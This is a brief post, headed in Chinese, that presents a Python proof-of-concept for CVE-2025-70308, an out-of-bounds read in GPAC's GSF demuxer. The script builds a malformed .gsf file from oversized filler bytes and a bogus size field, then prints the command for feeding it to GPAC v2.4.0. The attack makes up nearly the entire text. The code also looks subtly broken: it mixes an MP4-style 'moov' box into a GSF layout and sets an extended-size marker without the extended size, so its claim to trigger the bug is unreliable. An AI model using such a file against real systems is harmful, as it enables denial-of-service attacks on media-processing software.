CVE-2025-70308 GPAC GSF demuxer越界读取漏洞导致拒绝服务

# CVE-2025-70308 PoC - GPAC GSF demuxer Out-of-bounds Read # Generate a malicious .gsf file to trigger the vulnerability import struct import os def create_malicious_gsf(): """Generate a crafted .gsf file to trigger out-of-bounds read in GPAC GSF demuxer""" # GSF file header gsf_header = b'GSF' version = struct.pack('<I', 0x00000001) # Version 1 # Create crafted box with oversized data length field # This triggers out-of-bounds read when demuxer processes the box box_type = b'moov' # Movie box # Malicious data that causes length mismatch malicious_data = b'A' * 10000 # Oversized data to trigger OOB read # Crafted box with invalid size that causes buffer overflow during parsing box_size = struct.pack('>I', 0xFFFFFFFF) # Use extended size box = box_type + malicious_data # Create the malicious GSF file gsf_file = gsf_header + version + box_size + box return gsf_file def main(): poc_filename = 'CVE-2025-70308_poc.gsf' poc_data = create_malicious_gsf() with open(poc_filename, 'wb') as f: f.write(poc_data) print(f"[+] PoC file created: {poc_filename}") print(f"[+] File size: {len(poc_data)} bytes") print("[+] To trigger the vulnerability, process this file with GPAC v2.4.0:") print(f"[+] gpac -i {poc_filename}") if __name__ == '__main__': main()